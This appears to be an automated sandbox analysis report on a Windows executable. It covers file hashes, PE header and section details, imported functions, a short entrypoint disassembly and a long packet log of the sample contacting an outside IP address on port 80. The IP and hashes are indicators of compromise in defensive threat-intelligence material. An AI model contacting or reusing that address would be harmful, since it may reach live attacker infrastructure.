SHA256:	1dd4a56cf8d794eaf33526b673750be20b5d052645a4abfc13fd92781b878d8f
SHA512:	5d323c6d8eb9cfe7016a3dc730509abb5626736575d9b124091ac116dac3c82f9b63a2057da71102c3dff74b83a9df8afc72d6568b06c229888092fa07eb6653
SSDEEP:	24576:XQ9oPNA53qTkMxCYabkLC9ysvbvpByRiwiA9eOUr2+:XQQNSdfqC9LhByRiwiAEOUB
TLSH:	BB25332BC4CA3572F77941781CDB99DED1B30674592634B9F31E28786B1708392EA2E3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._...............................y...........3...........Rich............................PE..L.....FM...........................

File Icon


Icon Hash:	2d232d65b7924633

Static PE Info

General

Entrypoint:	0x401d20
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4D46F4ED [Mon Jan 31 17:44:13 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d221b1dc8c3a08622f6512e7876527c8

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00402128h
push 00401EA0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [00402088h]
pop ecx
or dword ptr [00403554h], FFFFFFFFh
or dword ptr [00403558h], FFFFFFFFh
call dword ptr [00402084h]
mov ecx, dword ptr [004032CCh]
mov dword ptr [eax], ecx
call dword ptr [00402080h]
mov ecx, dword ptr [004032C8h]
mov dword ptr [eax], ecx
mov eax, dword ptr [0040207Ch]
mov eax, dword ptr [eax]
mov dword ptr [0040355Ch], eax
call 00007FEE684F8275h
cmp dword ptr [004032BCh], ebx
jne 00007FEE684F816Eh
push 00401E9Ch
call dword ptr [00402078h]
pop ecx
call 00007FEE684F8247h
push 0040300Ch
push 00403008h
call 00007FEE684F8232h
mov eax, dword ptr [004032C4h]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [004032C0h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00402070h]
push 00403004h
push 00403000h
call 00007FEE684F81FFh

Rich Headers

Programming Language:

[LNK] VS98 (6.0) imp/exp build 8168
[ C ] VS98 (6.0) build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2134	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe7000	0x3e14	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xa4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xeac	0x1000	9ce5929599c65c95975bf6e171805391	False	0.645751953125	data	5.941998707599442	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x488	0x1000	5fc9e866c251197a1a9edc07825eb368	False	0.154541015625	data	1.727742082707414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x560	0x1000	d4a8a270215b2fec747caabfd58d8f7b	False	0.082275390625	Matlab v4 mat-file (little endian) ot create gentee.dll!, numeric, rows 0, columns 0	1.0105421694922874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gentee	0x4000	0xe2a30	0xe3000	68e58a0afbb9d48cc7faaed3ee2ca498	False	0.9985147215721366	data	7.999465624219395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xe7000	0x3e14	0x4000	908ba435b01a86f8b9cfc509860ed28b	False	0.83856201171875	data	7.6523549989474855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xe715c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.5221119133574007
RT_RCDATA	0xe7a04	0x2c6b	data			0.9976255386509542
RT_GROUP_ICON	0xea670	0x14	data			1.15
RT_MANIFEST	0xea684	0x790	XML 1.0 document, ASCII text, with very long lines (326), with CRLF, LF line terminators	English	United States	0.3574380165289256

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateDirectoryA, lstrcpyA, CreateFileA, GetFileAttributesA, lstrlenA, GetTempPathA, lstrcmpA, lstrcatA, ExitProcess, DeleteFileA, FreeLibrary, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetFileSize, GetLastError, CreateMutexA, GetModuleFileNameA, VirtualAlloc, VirtualFree, GetStartupInfoA
USER32.dll	MessageBoxA, wsprintfA
MSVCRT.dll	_exit, _XcptFilter, exit, _acmdln, __getmainargs, _initterm, __setusermatherr, _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, _except_handler3, _controlfp

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:48:01.611100912 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:01.680942059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:01.681093931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:01.681282997 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:01.686117887 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291048050 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291078091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291090965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291099072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291114092 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291127920 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291142941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291156054 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291172028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291186094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.291210890 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.291297913 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.291297913 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.296274900 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.296291113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.296307087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.296351910 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.344619036 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.381501913 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381520987 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381536007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381551027 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381622076 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.381675005 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.381764889 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381824970 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381839991 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381855011 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381869078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.381875038 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.381907940 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.382811069 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.382826090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.382833958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.382841110 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.382849932 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.382908106 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.383630037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.383645058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.383661032 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.383675098 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.383690119 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.383701086 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.383733988 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.384602070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.384617090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.384633064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.384650946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.384654999 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.384706020 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.386553049 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.386615992 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.386624098 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.438213110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472117901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472134113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472157001 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472173929 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472189903 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472196102 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472245932 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472276926 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472291946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472307920 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472327948 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472376108 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472431898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472446918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472462893 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472487926 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472820997 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472836018 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472851992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472875118 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472877979 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472894907 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472908974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472923040 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472924948 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472938061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.472944021 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.472969055 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.473444939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473459959 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473475933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473490000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473496914 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.473505020 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473520041 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473534107 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.473535061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473550081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473552942 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.473567009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.473586082 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.473623037 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.474024057 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474183083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474198103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474212885 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474225998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474239111 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.474241972 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474256039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474261045 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.474272966 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474282980 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.474289894 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474306107 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474318981 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.474322081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.474356890 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.475090981 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475106001 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475121975 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475136042 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475143909 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.475152016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475163937 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.475167990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475184917 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475200891 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475207090 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.475218058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.475244999 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.475264072 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.477092028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.477108002 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.477123022 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.477157116 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.531963110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.562747955 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562871933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562886953 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562901974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562916994 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562932968 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562949896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562941074 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.562963963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.562994957 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563015938 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563015938 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563019037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563035965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563045025 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563050032 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563066006 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563077927 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563080072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563096046 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563111067 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563124895 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563126087 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563127041 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563152075 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563246965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563267946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563286066 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563288927 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563301086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563324928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563339949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563355923 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563355923 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563371897 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563376904 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563394070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563401937 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563441038 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563584089 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563600063 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563615084 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563628912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563652039 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563654900 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563669920 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563678026 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563684940 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563699007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563714981 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563724995 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563731909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563744068 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563747883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563767910 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563770056 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563782930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563796997 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563812971 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.563827991 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.563848972 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.564059973 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564124107 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.564157963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564172983 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564198017 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564213037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564218044 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.564227104 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564243078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564259052 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564263105 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.564273119 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564286947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.564287901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564302921 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564320087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564335108 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.564337015 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.564353943 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.564387083 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568099976 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568114996 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568130016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568171024 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568264008 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568279028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568294048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568315983 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568325043 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568336964 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568347931 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568361998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568376064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568389893 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568391085 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568407059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568419933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568430901 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568439007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568450928 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568461895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568476915 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568491936 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568504095 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568506956 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568522930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568528891 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568564892 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568789959 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568814039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568837881 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568845034 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568852901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568870068 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568882942 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568888903 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568901062 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568914890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568914890 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568932056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568944931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.568948030 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.568988085 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.569041967 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.569056988 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.569083929 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.610099077 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653318882 CET	80	49704	82.115.223.189	192.168.2.5
